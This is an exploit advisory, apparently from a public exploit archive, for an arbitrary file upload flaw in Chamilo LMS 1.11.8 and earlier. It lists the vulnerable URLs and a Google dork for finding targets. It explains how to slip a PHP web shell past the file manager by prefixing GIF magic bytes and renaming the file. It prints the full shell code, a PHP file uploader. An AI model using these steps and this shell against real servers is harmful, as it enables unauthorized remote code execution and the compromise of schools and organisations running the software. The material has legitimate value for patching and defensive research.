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Chamilo LMS 1.11.8 Shell Upload

Chamilo LMS 1.11.8 Shell Upload
Posted Sep 25, 2019
Authored by Sohel Yousef

Chamilo LMS version 1.11.8 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 26ed7eb7715c48142327c1a8f3a63758ef87238dd0914fdcd52781b28aedcb3d

Chamilo LMS 1.11.8 Shell Upload

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<--

# Exploit Title: Chamillo LMS Arbitrary File Upload
# Google Dork: "powered by chamilo"
# Date: 05/10/2018
# Exploit Author: Sohel Yousef jellyfish security team
# Software Link: https://chamilo.org/en/download/
# Version: Chamilo 1.11.8 or lower to 1.8
# Category: webapps

1. Description

Any registered user can upload files and rename and change the file type to
php5 or php7 by ckeditor module in my files section

register here :

http://localhost/chamilo//main/auth/inscription.php

after registration you can view this sections

http://localhost/chamilo/main/social/myfiles.php

http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0

upload your shell in gif format and then rename the format

if the rename function was desabled

and add this GIF89;aGIF89;aGIF89;a before <?PHP
to be like this for examlple

GIF89;aGIF89;aGIF89;a<html>
<head>
<title>PHP Test</title>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="upload file" name="submit">
</form>
</head>
<body>
<?php echo '<p>FILE UPLOAD</p><br>';
$tgt_dir = "uploads/";
$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
echo "<br>TARGET FILE= ".$tgt_file;
//$filename = $_FILES['fileToUpload']['name'];
echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
if(isset($_POST['submit']))
{
if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
{ echo "<br>file exists, try with another name"; }
else {
echo "<br>STARTING UPLOAD PROCESS<br>";
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$tgt_file))
{ echo "<br>File UPLOADED:- ".$tgt_file; }

else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
}
}
?>
</body>
</html>

and uplaod it as php.gif
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